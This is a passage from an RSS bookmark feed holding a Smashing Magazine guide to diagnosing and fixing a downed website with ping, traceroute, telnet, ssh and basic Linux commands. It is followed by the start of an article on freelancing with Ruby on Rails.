If it fails, then visit a robust website, such as google.com or bbc.co.uk. If they fail too, then there is at least an issue with your own broadband connection (or your broadband company’s DNS servers). Chances are that you and your client are located in the same building and the whole building has lost connectivity, or perhaps you have the same broadband company and its engineers have taken the day off. You will need to check the website on your mobile phone or phone a friend. To be doubly sure, ask your friend to check Where’s It Up? or Down for Everyone or Just Me?, which will confirm whether your website is down just for you or for everyone.
If the website is definitely down, then frown confusedly and keep reading. A soft yet audible sigh would also be appropriate. You might want to locate the documents or emails that your Internet hosting service sent you when you first signed up with it. It should have useful details such as your IP address, control panel location, log-in details and admin and root passwords; these will come in handy.
2. Figure Out What Has Gone DownA website can appear to have gone down mainly for one of the following reasons:
A programming error on the website,A DNS problem, or an expired domain,A networking problem,Something on the server has crashed,The whole server has crashed.To see whether it’s a programming error, visit the website and check the status bar at the bottom of your browser. If it says “Done” or “Loaded,” rather than “Waiting…” or “Connecting…,” then the server and its software are performing correctly, but there is a programming error or misconfiguration. Check the Apache error log for clues.
Otherwise, you’ll need to run some commands to determine the cause. On a Mac with OS X or above, go to Applications → Utilities and run Terminal. On a PC with Windows, go to Start → All Programs → Accessories and choose “Command Prompt.” If you use Linux, you probably already know about the terminal; but just in case, on Ubuntu, it’s under Applications → Accessories.
The first command is ping, which sends a quick message to a server to check that it’s okay. Type the following, replacing the Web address with something meaningful to you, and press “Enter.” For all of the commands in this article, just type the stuff in the grey monospaced font. The preceding characters are the command prompt and are just there to let you know who and where you are.
C:\> ping www.stockashop.co.uk
If the server is alive and reachable, then the result will be something like this:

Reply from 92.52.106.33:
bytes=32 time=12ms TTL=53
 Ping command from a Windows computer.
On Windows, it will repeat four times, as above. On Linux and Mac, each line will start with 64 bytes from and it will repeat indefinitely, and you’ll need to press Control + C to stop it.
The four-part number in the example above is your server’s IP address. Every computer on the Internet has one. At this stage, you can double-check that it is the correct one. You’ll need to have a very good memory, or refer to the documentation that your hosting company sent you when you first signed up with it. (This article does not deal with the newish eight-part IPv6 addresses.)
For instance, my broadband company is sneaky and tries to intercept all bad requests so that it can advertise to me when I misspell a domain name in the Web browser. In this case, the ping looks successful but the IP address is wrong:

64 bytes from advancedsearch.virginmedia.com
(81.200.64.50): icmp_seq=1 ttl=55 time=26.4 ms
Note that ping might also show the server name in front of the IP address (advancedsearch.virginmedia.com in this case). Don’t worry too much if it doesn’t match the website you are pinging — a server can have many names. The IP address is more important.
Assuming you’ve typed the domain name correctly, a bad IP address indicates that the domain name could have expired or that somebody has made a mistake with its DNS settings. If you receive something like unknown host, then it’s definitely a domain name issue:

ping: unknown host www.nosuchwebsite.fr
In this case, use a website such as Who.is to verify the domain registration details, or run the whois command from Linux or Mac. It will at least tell you when it expired, who owns it and where it is registered. The Linux and Mac commands host and nslookup are also useful for finding information about a domain. The nslookup command in particular has many different options for querying different aspects of a domain name:
paul@MyUbuntu:~$ whois stockashop.co.uk paul@MyUbuntu:~$ host stockashop.co.uk paul@MyUbuntu:~$ nslookup stockashop.co.uk paul@MyUbuntu:~$ nslookup -type=soa stockashop.co.uk
If nothing happens when you ping, or you get something like request timed out, then you can deepen your frown and move on to step three.
 What a non-responding server looks like in a Linux terminal.
Alternatively, if your server replied with the correct IP address, then you can exhale in relief and move on to step five.
Note that there are plenty of websites such as Network-Tools.com that allow you to ping websites. However, using the command line will impress your colleagues more, and it is good practice for the methods in the rest of this article.
3. How Bad Is It?If your ping command has timed out, then chances are your whole server has crashed, or the network has broken down between you and the server.
If you enjoy grabbing at straws, then there is a small chance that the server is still alive and has blocked the ping request for security reasons — namely, to prevent hackers from finding out it exists. So, you can still proceed to the next step after running the commands below, but don’t hold your breath.
To find out if it is a networking issue, use traceroute on Mac or Linux and tracert on a PC, or use the trace option on a website such as Network-Tools.com. On Mac and Linux type:
paul@MyUbuntu:~$ traceroute www.stockashop.co.uk
On Windows:
C:\> tracert www.stockashop.co.uk
Traceroute traces a route across the Internet from your computer to your server, pinging each bit of networking equipment that it finds along the way. It should take 8 to 20 steps (technically known as “hops”) and then time out or show a few asterisks (*). The number of steps depends on how far away the server is and where the network has broken down.
The first couple of steps happens in your office or building (indicated by IP addresses starting with 192.68 or 10). The next few belong to your broadband provider or a big telecommunications company (you should be able to tell by the long name in front of the IP address). The last few belong to your hosting company. If your server is alive and well, then the very last step would be your server responding happily and healthily.
 Traceroute on a Mac, through the broadband company and host to an unresponsive server.
Barring a major networking problem, like a city-wide power outage, traceroute will reach your hosting company. Now, you just need to determine whether only your server is ill or a whole rack or room has gone down.
You can’t tell this just from traceroute, but chances are the servers physically next to yours have similar IP addresses. So, you could vary the last number of your server’s IP address and check for any response. If your server’s IP address is 123.123.123.123, you could try:
C:\> ping 123.123.123.121 C:\> ping 123.123.123.122 C:\> ping 123.123.123.124 C:\> ping 123.123.123.125
If you discover that the server is in the middle of a range of 10 to 20 IP addresses that are all broken, then it could well indicate a wider networking issue deep within the air-conditioned, fireproof bunker that your server calls home. It is unlikely that the hosting company would leave so many IP addresses unused or that the addresses would have all crashed at the same time for different reasons. It is likely, though not definitive, that a whole rack or room has been disconnected or lost power… or burned down.
Alternatively, if nearby IP addresses do reply, then only your server is down. You can proceed to the next step anyway and hope that the cause is that your server is very secure and is blocking ping requests. Perhaps upgrade that deep frown to a pronounced grimace.
Otherwise, you’ll have to keep listening to Foreigner until your hosting company answers the phone. It is the only one that can fix the network and/or restart the server. But at least you now have someone else to blame. And if you are number 126 in the queue, it’s probably because 125 other companies think their websites have suddenly gone down, too.
4. Check Your Web Server SoftwareIf the server is alive but just not serving up websites, then you can make one more check before logging onto the server. Just as your office computer has a lot of software for performing various tasks (Photoshop, Firefox, Mac Mail, Microsoft Excel, etc.), so does your server. Arguably its most important bit of software is the Web server, which is usually Apache on Linux servers and IIS on Windows servers. (From here on in, I will refer to it as “Web server software,” because “Web server” is sometimes used to refer — confusingly — to the entire server.)
When you visit a website, your Web browser communicates with the Web server software behind the scenes, sharing caching information, sending and receiving cookies, encrypting and decrypting, unzipping and generally managing your browsing experience.
You can bypass all of this and talk directly to the Web server software by using the telnet command, available on Windows, Linux and Mac. It will tell you conclusively whether your Web server software is alive. The command ends with the port, which is almost always 80:
ping@MyUbuntu:~$ telnet www.stockashop.co.uk 80
If all were well, then your Web server software would respond with a couple of lines indicating that it is connected and then wait for you to tell it what to do. Type something like this, followed by two blank lines:

GET / HTTP/1.1
Host: www.stockashop.co.uk
The first / tells it to get your home page; you could also say GET /products/index.html or something similar. The Host line tells it which website to return, because your server might hold many different websites. If your website were working, then your Web server software would reply with some headers (expiry, cookies, cache, content type, etc.) and then the HTML, like this:
 Checking the web server software with telnet.
But because there is a problem, telnet will either not connect (indicating that your Web server software has crashed) or not respond (indicating that it is misconfigured). Either way, you’ll need to keep reading.
5. Logging Into Your ServerThe remote investigations are now over, and it’s time to get up close and personal with your errant server.
First, check your server’s documentation to see whether the server has a control panel, such as Plesk or cPanel. If you’re lucky, it will still be working and will tell you what is wrong and offer to restart it for you (in Plesk, click Server → Service Management).
 If your server has a control panel such as Plesk, try logging in to make sure the Web server is running.
If not, then the following commands apply to dedicated Linux servers. You could try them in shared hosting environments, but they probably won’t work. Windows servers are a different kettle of fish and won’t be addressed in this article.
To log in and run commands on the server, you will need the administrative user name and password and the root password, as provided by your host. For shared hosting environments, an FTP user name and password might work.
On Linux and Mac, the command to run is ssh, which stands for “secure shell” and which allows you to securely connect to and run commands on your server. You will need to add your administrative user name to the command after -l, which stands for “login”:
paul@MyUbuntu:~$ ssh -l admin www.stockashop.co.uk
Windows doesn’t come with ssh, but you can easily download a Windows SSH client such as Putty. Download putty.exe, save it somewhere and run it. Type your website as the host name and click “Open.” It will ask you who to log in as and then ask for your password.
 Using Putty to SSH from a Windows computer.
Once you have successfully logged in, you should see something like admin@server$, followed by a flashing or solid cursor. This is the Linux command line, very similar to the Terminal or command prompt used above, except now you are actually on the server; you are a virtual you, floating around in the hard drive of your troubled server.
If ssh didn’t even connect, then it might be blocked by a firewall or turned off on the server. If it said Permission denied, then you’ve probably mistyped the user name or password. If it immediately said Connection to www.stockashop.co.uk closed, then you are trying to log in with a user name that is not allowed to run commands; make sure you’re logging in as the administrative user and not an FTP user.
6. Has It Run Out Of Space?Your server has likely not run out of hard disk space, but I’m putting this first because it’s a fairly easy problem to deal with. The command is df, but you can add -h to show the results in megabytes and gigabytes. Type this on the command line:
admin@server$ df -h
The results will list each file system (i.e. hard drive or partition) and show the percentage of each that has been used.
 Checking hard disk usage on a Linux server.
If any of them show 100% usage, then the command probably took eons to type, and you will need to free up some space fast.
Quick FixYou should still be able to FTP to the server and remove massive files that way. A good place to start is the log files and any back-up directories you have.
You could also try running the find command to search for and remove huge files. This command finds files bigger than 10 MB and lets you scroll through the results one page at a time. You might need to run it as root to avoid a lot of permission denied messages (see below for how to do this). It might also take a long time to run.
root@server# find / -size +10000000c | more
You could also restrict the search to the full partition or to just your websites, if you know where they are:
root@server# find /var/www/vhosts/ -size +10000000c | more
If you want to know just how big those files are, you can add a formatting sequence to the command:
root@server# find /var/www/vhosts -size +10000000c -printf "%15s %p\n"
When you’ve found an unnecessarily big file, you can remove it with rm:
root@server# rm /var/www/vhosts/badwebsite.com/backups/really-big-and-old-backup-file.tgz
Permanent FixClearing out back-ups, old websites and log files will free up a lot of space. You should also identify any scripts and programs that are creating large back-up files. You could ask your host for another hard drive.
7. Has It Run Out Of Memory?Your server might just be running really, really slowly. The free command will let you know how much memory it is using. Add -m to show the results in megabytes.
admin@server$ free -m
The results will show how much of your memory is in use.
 Checking memory usage on a Linux server.
The results above say that the server has 3550 MB, or 3.5 GB, of total memory. Linux likes to use as much as possible, so the 67 MB free is not a problem. Focus on the buffers/cache line instead. If most of this is used, then your server may have run out of workable memory, especially if the swap space (a bit of the hard drive that the server uses for extra memory) is full, too.
If your server has run out of memory, then the top command will identify which bit of software is being greedy.
admin@server$ top
Every few seconds, this gives a snapshot of which bits of software are running, which user started them and how much of your memory and CPU each is using. Unfortunately, this will run very slowly if memory is low. You can press “Q” or Control + C to exit the command.
 The Linux top command shows what is running.
Each of the bits of software above is known as a “process.” Big pieces of software such as Apache and MySQL will often have a parent process with a lot of child processes and so could appear more than once in the list. In this benign example, a child process of the Apache Web server is currently the greediest software, using 7.6% of the CPU and 1.6% of the memory. The view will refresh every three seconds. Check the Mem column to see whether anything is consistently eating up a large portion of the memory.
Quick FixThe quickest solution is to kill the memory hog. You will need to be root to do this (unless the process is owned by you — see below). First of all, though, search on Google to find out what exactly you are about to kill. If you kill a core program (such as the SSH server), you’ll be back to telephone support. If you kill your biggest client’s data amalgamation program, which has been running for four days and is just about to finish, then the client could get annoyed, despite your effort to sweeten it with “But your website is okay now!”
If the culprit is HTTPD or Apache or MySQLd, then skip to the next section, because those can be restarted more gracefully. In fact, most things can be restarted more gracefully, but this is a quick ignore-the-consequences type of fix.
Find the process ID in the PID column of the command above, and type kill -9, followed by the number. For example:
root@server# kill -9 23421
The -9 tells it to stop completely and absolutely. You can now run top again to see whether it has made a difference. If some other similar process has jumped to the memory-eating position instead, then you’ve probably only stopped a child process, and you will need to find the parent process that spawned all the greedy children in the first place, because stopping the parent will stop all the children, too. Use the process ID again in this command:
root@server# ps -o ppid,user,command 23421
This asks Linux to show you the parent process ID, user and command for the process number 23421. The results will look like this:
PPID  USER     COMMAND
31701 apache   /usr/sbin/httpdThe PPID is the parent process ID. Now try killing this one:
root@server# kill -9 31701
Run top again. Hopefully, the memory usage has now returned to normal. If the parent process ID was 0, then some other process entirely is consuming memory, so run top again.
Permanent FixYou will probably have to restart the offending software at some point because you may have just disabled your server’s SPAM filter or something else important. If the problem was with Apache or MySQL, you might have an errant bit of memory-eating programming somewhere, or Apache, MySQL or PHP might have non-optimal memory limits. There’s a slim chance that you have been hacked and that your server is slow because it’s sending out millions of emails. Sometimes, though, a server has reached capacity and simply needs more RAM to deal with the afternoon rush.
To find out what went wrong in the first place, check the web logs and/or the log files in /var/log/. When your hosting company has finally answered the phone, you can ask it to also take a look. Figuring out what happened is important because it could well happen again, especially if it’s a security issue. If the hosting company is not responsive or convincing enough, seek other help.
8. Has Something Crashed?Most Linux servers use Apache for the Web server software and MySQL for the database. It is easy to see whether these are still running (and to restart them if they’re not) or are using up way too much memory. To see all processes running on your server right now, run this command:
admin@server$ ps aux | more
Scroll through the list and look for signs of apache (or its older name httpd) and mysqld (the “d” stands for daemon and is related to the way the programs are run). You are looking for something like this:
USER       PID %CPU %MEM   VSZ   RSS TTY     STAT START   TIME COMMAND
apache   29495  0.5  1.4 90972 53772 ?       S    14:00   0:02 /usr/sbin/httpd
apache   29683  0.3  1.4 88644 52420 ?       S    14:03   0:00 /usr/sbin/httpd
apache   29737  0.3  1.4 88640 52520 ?       S    14:04   0:00 /usr/sbin/httpdOr you can use the grep command to filter results:
admin@server$ ps aux | grep http admin@server$ ps aux | grep mysql
If either Apache or MySQL is not running, then this is the source of the problem.
 This listing shows that Apache is indeed running.
Quick FixIf Apache or MySQL is not running, then you’ll need to run the commands below as root (see below). Linux usually has a set of scripts for stopping and starting its major bits of software. You first need to find these scripts. Use the ls command to check the couple of places where these scripts usually are:
root@server# ls /etc/init.d/
If the results include a lot of impressive-looking words like crond, httpd, mailman, mysqld and xinetd, then you’ve found the place. If not, try somewhere else:
root@server# ls /etc/rc.d/init.d/
Or use find to look for them:
root@server# find /etc -name mysqld
Once it is located, you can run a command to restart the software. Note that the scripts might have slightly different names, like apache, apache2 or mysql.
root@server# /etc/init.d/httpd restart root@server# /etc/init.d/mysqld restart
Hopefully, it will say something like Stopping… Starting… Started. Your websites will start behaving normally again!
Permanent FixAs above, check the log files, especially the Apache error logs. Sometimes these are all in one place, but usually each website on the server has its own error log. You could look through the ones that were busiest around the time of the crash. Or else you could have a misconfiguration or a programming bug or security breach, so it could well happen again until you identify and address the cause.
Becoming a Super-UserMost of the fixes above require special permissions. For example, you (i.e. the user you have logged in as) will be able to kill or restart processes only if you started them. This can happen on shared servers but is unlikely on dedicated servers, where you will see a lot of permission denied messages. So, to run those commands, you will need to become the server’s super-user, usually known as “root.” I’ve left this for last because it’s dangerous. You can do a lot of irreversible damage as root. Please don’t remove or restart anything unless you’re sure about it, and don’t leave your computer unattended.
There are two ways to run a command as root. You can prefix each command with sudo, or you can become root once and for all by typing su. Different servers place different restrictions on these commands, but one of them should work. The sudo command is more restrictive when it turns you into a lesser non-root super-user who is able to run some commands but not others. Both commands will ask for an extra password. For example:
admin@server$ sudo /etc/init.d/httpd restart
When you run su successfully, the prompt will change from a $ to a #, like this:
admin@server$ su Password: admin@server#
It might say admin@server or root@server. Either way, the # means that you are powerful and dangerous — and that you assume full liability for your actions.
ConclusionThis article has provided a few tips for recognizing and solving some of the most common causes of a website going down. The commands require some technical knowledge — or at least courage — but are hopefully not too daunting. However, they cover only a small subset of all the things that can go wrong with a website. You will have to rely on your hosting company if it is a networking issue, hardware malfunction or more complicated software problem.
Personally, I don’t mind the ’80s music that plays while I’m on hold with my hosting company. It’s better than complete silence or a marketing message. But it would be even better if the support rep picked up the phone within a few seconds and was ready to help. That is ultimately the difference between paying $40 per month for a dedicated server versus $400.
When the dust has settled, this might be a conversation worth having with your boss — the one still sitting glumly by the phone, eyeing your frown, and waiting for Bono to stop warbling.
(al)
© Paul Tero for Smashing Magazine, 2010. | Permalink | Post a comment | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine Post tags: admin, Coding, linux, maintenance 
]]></description>
<dc:subject>Coding admin linux maintenance</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:997b4558b5e8/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:admin"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:linux"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:maintenance"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.smashingmagazine.com/2010/10/26/successful-freelancing-with-ruby-on-rails-workflow-techniques-and-tools/">
    <title>Successful Freelancing With Ruby On Rails: Workflow, Techniques And Tools</title>
    <dc:date>2010-10-26T18:06:48+00:00</dc:date>
    <link>http://www.smashingmagazine.com/2010/10/26/successful-freelancing-with-ruby-on-rails-workflow-techniques-and-tools/</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[    Warning: Freelancing Is Not for EveryoneA freelancer is a self-employed person who pursues a profession without a long-term commitment to any particular employer. Your curiosity in this opportunity was probably sparked by posts marked “Freelance” or “Work from anywhere” on the myriad of job boards around the Web. Freelancing is equal parts freedom and responsibility. While you have the freedom to choose when you work, where you work and what you work on, you are also responsible for everything: deadlines, finding work, the quality of your work, communication and so much more.
 Photo by Dmitry Belitsky
Ruby, with all of its frameworks and libraries (such as Rails, Merb and Sinatra), is a practical tool to use in your freelance Web development career because of its focus on clean code, object-oriented syntax, efficient development practices and strong community (whether a simple IRC chat room or large conference). For all of these reasons, I find that it is also quite fun to use and exciting to be a part of.
So, your skill may be in Ruby and your approach is to freelance, but it’s not that easy: freelancing is no walk in the park. It could become a living nightmare if you’re not able to use your time efficiently and remain focused and motivated until a project comes to a close. It could also become a nightmare if you market yourself poorly, are constantly desperate for work or surrender too much power to a client, putting you in the position of a monkey-worker responding to petty demands.
Over the four years that I’ve been freelancing, I have figured out the intricacies of it and grown to completely love it. I cannot envision myself working any other way.
Pros Photo by Giorgio Montersino.
Be your own boss. Report to no one but yourself. You are at once king, countryman, peasant, squire, blacksmith and merchant. You will work on excruciatingly boring tasks, grand and exciting ventures and everything in between. You will have very tough times and very beautiful times.
Enjoy your freedom. You have the freedom to work when and where you please, the freedom to structure your day as you please and the freedom to fail. Structure and discipline can be daunting and intimidating but also rewarding and empowering.
Choose what to work on. Want to spend 50% of your time on open-source projects? Interested in building your own Web app? You have the power to make that a reality. Want to work exclusively on projects in social media? Make it happen.
Set your rates. Value is both a reflection of how you perceive yourself and how others perceive you. Are you capable of meeting deadlines, communicating well and delivering quality code? Charge what you think that is worth. Often the market will decide. If you are just starting out, charging $80 per hour will be hard; you have to earn that rate over time and with experience.
But what’s to stop you from charging $80 per hour after just a year of full-time freelance work as a Ruby developer? Only yourself. You will have to be confident, and I suspect that most people reading this article do not charge that rate. But if you truly feel capable, then by all means.
In sum, you will experience highs and lows, but with the right attitude, the lows will always pay off.
Cons
Selling yourself Many dislike the notion of having to sell themselves. That’s understandable: the task is certainly not without its unpleasantness. If coding is an art, then like any good artist you’ll be critical of your own work. But maintain perspective. Recognize that you have to take responsibility for the quality of your code, but also understand that your clients probably won’t be programmers themselves. Hacking together something that works will be okay in many cases; and if it breaks because it was poorly written, offer to fix it for free.
When you write code that is efficient and powerful, explain as much to the client in vocabulary that they will understand; something like, “I changed the application so that it can perform × task at twice the speed.” Remember that your clients will likely not be developers and that in the freelancing game communication skills are often more important than programming skills. Be aware of yourself, be realistic in your expectations of yourself, be humble yet straightforward, and understand that if you truly believe in yourself, selling becomes easy. You are just being honest when you say to someone, “I’m good at what I do.”
Responsibility and discipline No one will prevent you from procrastinating. No one will stop you from meeting with a friend in the middle of the day for lunch or a walk. No one will tell you what to do or when to do it. This may sound amazing—and it is if you’re disciplined—but discipline becomes rarer as we get increasingly overloaded with details that demand our attention. (In my opinion, discipline is one of the most important traits any freelancer can have.)
Time management Manage your time as if each hour were a brick of gold. Time is more precious than any other resource. Tools are out there to help you become aware of how you spend it and that help you figure out where you are going wrong and right. Harvest, Trails, Tick and a slew of other applications are all designed to help you understand how you spend your time.
Emotions The freelancing life is often isolating and can get lonely. It has often been said that running a small business is an emotional roller coaster: well, it is. Fight the inclination to stay cooped up and out of touch with the world. Get out and meet people; it could save you from serious bouts of depression.
Ultimately, freelancing is not for the faint of heart, but that doesn’t mean it isn’t worth your best shot!
Tools Of The TradePlenty of tools will help you get your projects done, but the best ones help you complete your projects effectively. We all work differently, and numerous tools are at our disposal that will help us accomplish the same task in different ways.
You’ll find a lot of discussion on the Web (some of it bordering on holy wars) about the relative merit of Vim vs. Emacs, Prototype vs. jQuery, Haml vs. ERB. But it doesn’t matter what you use: results matter. Properly caring for your code will help you grow, so use tools that allow you to craft the best possible code. Tools are always relative.
Text Editor (Vim, Emacs, TextMate, IDE)
As with most other tools, choose a text editor by trying it out. I used TextMate in the past and now work in Vim most of the time. Some folks prefer Emacs or big IDEs such as RubyMine. You can try all of these just by downloading a trial version. You’ll know when you’ve found your favorite.
*Nix Server Management and Working in the Unix ShellMany useful resources on Linux server management are available in various Slicehost articles. You’ll also find a lot of info about working in the command line at commandlinefu.com. Beyond that, let Google guide you.
Ruby Will Become Your Best Friend
Yukihiro Matsumoto (a.k.a. Matz), creator of Ruby, said that he wanted to minimize his frustration with programming, minimize his effort in programming and have fun with software development. In fact, Ruby was designed to make programmers happy. But while Ruby is simple in appearance, it is complex inside, like the human body.
As hard as it is to believe, Ruby has been around for 15 years. As the years go by, more and more people see the beauty in this language and become passionate users. Today, Ruby is the language of choice for hundreds of thousands of developers worldwide. Several lively Ruby conferences take place each year around the world. And big corporations use Ruby: Microsoft and Sun have created their own Ruby interpreters (IronRuby, jRuby), and Apple now includes Ruby with OS X 10.6. Countless Ruby developers are hired every day on every continent.
The community around a language is one of my primary considerations in deciding whether to learn that language. Ruby’s community is vibrant and growing; it is friendly to people of all skill levels and comprises both online communication such as chatting and mailing lists and in-the-flesh interaction at meet-up groups and conferences. Ruby and its frameworks—especially Rails—have become their own sub-culture; full of life and passion and changing every day.
A very useful resource is confreaks.com, where you can watch videos from great Ruby-related events such as Rubyconf, acts_as_conference and more. Highly recommended.
Popular Ruby-related resources:
The official Ruby websiteRuby mailing list A useful place to get help or advice from those active in the Ruby community.Ruby Inside A Ruby blog with daily news, links, code and tips. Claims to be “the #1 Ruby programming blog.”RubyFlow A community-driven Ruby links website, with more than 1000 members. Posts are made by members of the community. Enjoy the links and leave comments.RubyForum Helpful forum for Ruby and Rails.Ruby Learning “A thorough collection of Ruby study notes for those who are new to the Ruby programming language and in search of a solid introduction to Ruby’s concepts and constructs.”Planet Ruby RSS aggregator of top Ruby-related blogs.The Ruby on Rails Framework (and Alternatives: Merb, Sinatra, Ramaze, Rango)Rails is my MVC framework of choice because of its ease of use as well as the vast community of passionate users who stand behind it. If you’d like to learn it, a great starting point is Agile Web Development With Rails. UC Berkeley has a series of intensive Ruby on Rails classes on YouTube, which are rather useful. And a lot of screencasts are on the Web. I also like confreaks (already mentioned but worth a second push); it delivers videos from large Ruby conferences, and I’ve learned a lot from the talks.

Some general Rails-related resources:
RailsGuides A great Rails documentation project.RailsBridge A friendly Rails community.Ruby on Rails 3.0 Release Notes A new Rails 3 guide, with details on the new Rails release.Dive into Rails 3 Rails 3 screencasts on new features such as Bundler, Active Model, the new router syntax and more.The New Ruby Ecosystem An interesting post from Paolo “Nusco” Perrotta about the most used development tools in the Ruby community.Rails Tutorial An extensive series of tutorials (one of the most comprehensive resources for beginners I’ve found).RubyonRailsTutorials.com A great catalog of links, to further satiate your appetite for Rails knowledge.Some more specific tools for Ruby to check out:
The Ruby Development Tool An IDE consisting of Ruby-aware features and plug-ins for the Eclipse platform.Watir An open-source (BSD) library for automating Web browsers. It allows you to write tests that are easy to read and maintain. It is at once flexible and simple.RadrailsA Ruby on Rails IDE, either standalone or as an Eclipse plug-in. Free, open source and cross-platform, Radrails includes an integrated shell console, rich code completion for Ruby and Rails, an integrated debugger and cloud deployment options.
Heroku An online Ruby on Rails cloud platform-as-a-service. A “fast, frictionless and maintenance-free Rails hosting platform” with a free plan. The platform is effective, though not invincible.Capistrano An open-source tool for running scripts on multiple servers, most commonly used to deploy Web applications. It automates the process of making a new version of an application available on one or more Web servers, including support for tasks such as changing databases.The Ruby ToolboxProvides an overview of tools available to Ruby developers. Tools are sorted by category and rated according to the number of watchers and forks in the corresponding source code repository on GitHub, so you can easily figure out your options and which are the most common ones in the Ruby community.
RailRoad “A class diagrams generator for Ruby on Rails applications. It’s a Ruby script that loads the application classes and analyzes its properties (attributes, methods) and relationships (inheritance, model associations like has_many, etc.).”Instant Rails “A one-stop Rails runtime solution containing Ruby, Rails, Apache and MySQL, all preconfigured and ready to run (on Windows, OS X, Linux and BSD). No installer—you simply drop it into the directory of your choice and run it. It does not modify your system environment.”Ruby on Rails Toolbox A list of 20+ tools to help you with your Ruby on Rails coding.TDD and BDDTest-driven development (TDD) is a software development technique that involves repeating a very short development cycle: the developer writes a failing automated test case that defines a desired improvement or new function; then they produce code to pass that test; and finally they refactor the new code to meet recognized standards.
Behaviour-driven development (BDD) is an evolution of the thinking behind TDD and acceptance test-driven planning. It brings together strands of TDD and domain-driven design in an integrated whole, making the relationship between these two powerful approaches to software development more evident.

BDD helps focus development on the delivery of prioritized, verifiable business value by providing a common vocabulary (also referred to as an “ubiquitous language”) that spans the divide between business and technology.

Behavior-driven development websiteCucumber: Making BDD fun.HTML, CSS, HAML, SASS, LESSNothing can be done on the Web without hypertext mark-up. Every page has its own mark-up and style, and you have to know the basics in order to work with mark-up. Learning HTML basics should take about an hour, and becoming a CSS expert a lot more time, but everything starts with your first step. Once you know how each works, diving into tools that simplify them, such as HAML, SASS and LESS, will be enjoyable and rewarding.
VCS (Version Control Systems)GitSubversionMercurialVersion control is essential whether you work alone or on a team, because it tracks all significant changes you have made to a project (called “commits”), and you can easily save the project’s growth history, make new branches to test new functionality, jump back and forth through changes and distribute those changes to others involved in writing the code. I prefer Git and use it most often. It’s fast and reliable, but other systems offer their own functions and strengths. “7 Version Control Systems Reviewed” covers the spectrum of options.

“Git is a free distributed revision control, or software source-code management, project, with an emphasis on being fast. It was initially designed and developed by Linus Torvalds for Linux kernel development.”
— Wikipedia
Here is a list of helpful resources to help you jump into working with Git:
The Git community bookPro Git BookGitcastsRailsConf 2008 Git Tech TalkGoogle Tech Talk: Linus Torvalds on Git Finding ClientsYou’ve weighed the pros and cons, and the pros won. You’ve learned enough Ruby and Rails to start looking for work. Now, where do you find clients?
Finding clients is a big topic, so I’ll stick to the basics for now and leave out details on marketing strategies and brand development.
Communicate with potential clients first through simple emails. Write your thoughts in short and effective paragraphs; be selective with your words, and get to the point quickly, mindful of the time people are spending reading your message. You will not only deliver your message effectively but show that you are focused on important matters and that you avoid wasting people’s time.
If you have no portfolio, you may have to do work for very little pay—or even for free—to entice prospects. As you develop your portfolio, describe each project very briefly (one to two sentences), and then start adding these summaries to your emails. The inclusion of references to real work greatly increases your chances of securing more work.
In your search, follow up on every interesting job posting that you’ve found, mentioning your professional experience, technologies you know and your professional qualities, such as being responsible and being able to deliver projects on time and on budget. Ideally, you would show testimonials from previous clients.
Job Boards
A lot of freelance job boards are around. Here are the ones I know of and have used successfully:
Working With Rails37signals Job BoardAuthentic JobsRuby Now JobsRubyInsideContributing to Open Source
If you want clients, you need to prove yourself. Nothing speaks better of developers than their code (although technical skill is only part of the puzzle).
Choose projects that interest you; you’ll get better results. Choose projects that give you a chance to learn and grow. But be careful: your learning should not prolong project deadlines. I find that the best projects are those in which I can work with a passionate team and learn new things along the way.
Learn How People HireRead articles that explain how to hire developers for insights into the hiring and hunting process. Articles such as these:
15 Questions to Ask During a Ruby Interview11 Tips on Hiring a Rails DeveloperHow I Hire Programmers by Aaron Swartz (and comments on Hacker News)How to Hire HackersHow to Get Hired at a StartupGet Your First ProjectIf you have no previous development experience, create some first. Write tests for open-source apps, fix bugs, put together a simple Web app: over time you will have developed a portfolio and eventually become confident enough to take on client work.
One way to start: choose a project on GitHub and learn its internals; offer help by writing tests and fixing bugs. Over time you will learn how to work as a team player and how to read code written by others. This knowledge will help you tremendously.
Focus on Building Your Profile
This could be the first thing people read about you, and first impressions count. Make this impression as good as possible, and use all of the best-known networks: LinkedIn, Working With Rails and GitHub.
Create a Website or BlogYou should have your own website or blog because that’s expected in the Web development field. On it, you can describe your professional experience, new technologies that you have been working with, book reviews (this might also bring in new readers from search engines) and interviews with people you find interesting. Include productivity tips and personal thoughts on things you’re interested in. Remember, describe your own experiences and show your face. Be authentic. Read about writing for the Web on useit.com and A List Apart (the writing section).
Get Involved in the Community
Make something useful for yourself and people like you. This could be a library or plug-in, an article or a tutorial—anything usable. Writing documentation for RailsBridge will surely increase your understanding of Rails, too.
Write a Lot of Emails to EmployersIf all goes well you might have a pool of a few jobs to chose from. Choose wisely, and then work vigorously to deliver something great—on time! When you reach out at first, don’t expect many responses. If you get only a few clients from 50 emails that you send, you’re doing good. Now you need to get things done, and that takes time and a good process.
Working ProcessThere are many well-known methods of working, and each offers a different approach to solving the same problem: how the heck do I get things done effectively?
Here are the two techniques I follow:
Getting Things Done (GTD) is a method created by David Allen and described in his book of the same name. GTD relies on the principle that a person needs to move tasks out of their brain by recording them externally. That way, the mind is freed from having to remember everything that has to get done and can concentrate on actually performing those tasks. Check out the interesting introductory video by David Allen on YouTube.
GTD is an easy step-by-step and highly efficient method of achieving this relaxed, productive state. It includes:
Capturing anything and everything that has your attention;Categorizing actionable tasks discretely as outcomes and concrete next steps;Organizing reminders and information in the most streamlined way, in appropriate categories, based on how and when you need to access them;Staying current and “on your game” with appropriately frequent reviews of the six horizons of your commitments (purpose, vision, goals, areas of focus, projects and actions).The Pomodoro Technique is a way to get the most out of your time. Turn time into a valuable ally to accomplish what you want to do, and chart continual improvement in the way you do it. Francesco Cirillo created the Pomodoro Technique in 1992. It is now practiced by professional teams and individuals around the world. A great way to learn it is through this cheat sheet.
It can be described simply in five steps:
